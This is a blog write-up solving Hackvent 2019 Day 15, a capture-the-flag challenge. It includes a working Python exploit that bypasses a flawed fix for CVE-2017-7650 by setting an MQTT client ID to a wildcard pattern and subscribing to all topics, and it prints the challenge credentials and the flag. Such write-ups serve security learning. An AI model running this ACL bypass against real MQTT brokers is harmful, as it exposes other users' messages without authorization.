Hackvent 2019: Day 15

Hackvent 2019220

Challenge

HV19.15 Santa's Workshop

Introduction
The Elves are working very hard.
Look at  to see how busy they are.

Page snapshot:

Hackvent 2019 - Day 15 - Santa's Workshop Website

Solution

NOTE: Unfortunately, the server for this challenge was broken for a long time and caused a lot of pain and suffering. In the end it took 6 hours longer than it needed to.

We land on a nice landing page with a counter which counts upwards. We do some snooping around to see what resources are used on the page and come across two Javascript files of interest.

config.js

var mqtt;
var reconnectTimeout = 100;
var host = 'whale.hacking-lab.com';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
if (clientid == null) {
  clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
  localStorage.setItem("clientid", clientid);
}
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;

mqtt.js

function MQTTconnect() {
if (typeof path == "undefined") {
	path = '';
}
mqtt = new Paho.MQTT.Client(
		host,
		port,
		path,
		clientid
);
    var options = {
        timeout: 3,
        keepAliveInterval: 60,
        useSSL: useTLS,
        cleanSession: cleansession,
        onSuccess: onConnect,
        onFailure: function (message) {
            $('#status').val("Connection failed: " + message.errorMessage + "Retrying");
            setTimeout(MQTTconnect, reconnectTimeout);
        }
    };

    mqtt.onConnectionLost = onConnectionLost;
    mqtt.onMessageArrived = onMessageArrived;

    if (username != null) {
        options.userName = username;
        options.password = password;
    }
    mqtt.connect(options);
}

function onConnect() {
    mqtt.subscribe(topic, {qos: 0});
}

function onConnectionLost(response) {
    setTimeout(MQTTconnect, reconnectTimeout);
    $('#alert').html('<div class="alert alert-warning" role="alert">Uhm.. somebody is currently messing with me. Try refreshing the page. I lost connection but why? ?</div>');
};

function onMessageArrived(message) {

    //var topic = message.destinationName;
    var payload = message.payloadString;
    countUp.update(payload);
};

Basically, we are authenticating with a MQTT messaging service. We subscribe to the topic 'HV19/gifts/'+clientid initially which returns the number of gifts made by the elves so far which increases by 1-3 every second or so:

7347836
7347839
7347842
7347843
7347846
7347849
7347850
7347853

We see a commented out topic 'HV19/gifts/'+clientid+'/flag-tbd'  but don't get anything when we subscribe to it. We have our client id which was initially 0395226010678529 in our local storage. We also decide to convert the calls on the page into a python script for ease of testing. After subscribing to the wildcard # topic we don't see any extra messages but we do something interesting when subscribing to the $SYS/# topic. We see the version of the MQTT server returned as:

mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)

We inspect the CVE-2017-7650 and find the following releases including some commits which patches the issue:
https://mosquitto.org/blog/2017/05/security-advisory-cve-2017-7650/
https://github.com/eclipse/mosquitto/commit/9af3c6958fe1b2c653a7952f6f144bcf6ecfbc0d
https://github.com/eclipse/mosquitto/commit/cd17ca45cd313dc00480091505f708858db73ee9

In short we are told:

Pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'. This allows locally or remotely connected clients to access MQTT topics that they do have the rights to.

From the official patches we see the fix involves checking to see if the client_id or username contains the wildcard # or + symbols. If so, the connection is refused.

However, we notice that our client_id is only rejected if it starts with a # or + symbol. Therefore the elves patch incorrectly used a string startswith check instead of a string contains check. Also we consider the commented out topic in config.js which is HV19/gifts/'+clientid+'/flag-tbd and guess that the final flag will look something like this HV19/gifts/0395226010678529/HV19{flag_here}. It seems like our user workshop does not have permissions to read from this topic even though its nested under our client id.

Therefore, we try the client id 0395226010678529/# which should match the flag topic name if we subscribe to all topics (i.e. subscribe to # topic).

This is the script we ended up using:

# Hackvent 2019 - Day 15
# Mo Beigi (https://mobeigi.com)

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):
    print("Connected to MQTT broker.\n\n")
    client.subscribe('$SYS/#')
    client.subscribe('#')
    print("Waiting for messages...\n\n")

def on_message(client, userdata, msg):
    print(str(msg.topic) + "\t" + str(msg.payload))

def exploit(host):
    client = mqtt.Client(client_id='0395226010678529/#', clean_session=True, transport='websockets')

    client.on_connect = on_connect
    client.on_message = on_message
    
    print("Connecting to MQTT broker on %s" % host)
    client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX')
    client.connect(host, 9001, 60, '')
    client.loop_forever()

exploit("whale.hacking-lab.com")

Running this spits out the following response which contains our flag as part of the topic name:

PS C:\Users\Mo\Desktop> py -3 .\spoilt.py
Connecting to MQTT broker on whale.hacking-lab.com
Connected to MQTT broker.


Waiting for messages...


$SYS/broker/version     b'mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529     b'7352550'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529     b'7352551'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529     b'7352551'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'

Flag:

HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}

Leave a comment

(required)(will not be published)(required)

Comments

There are no comments yet. Be the first to add one!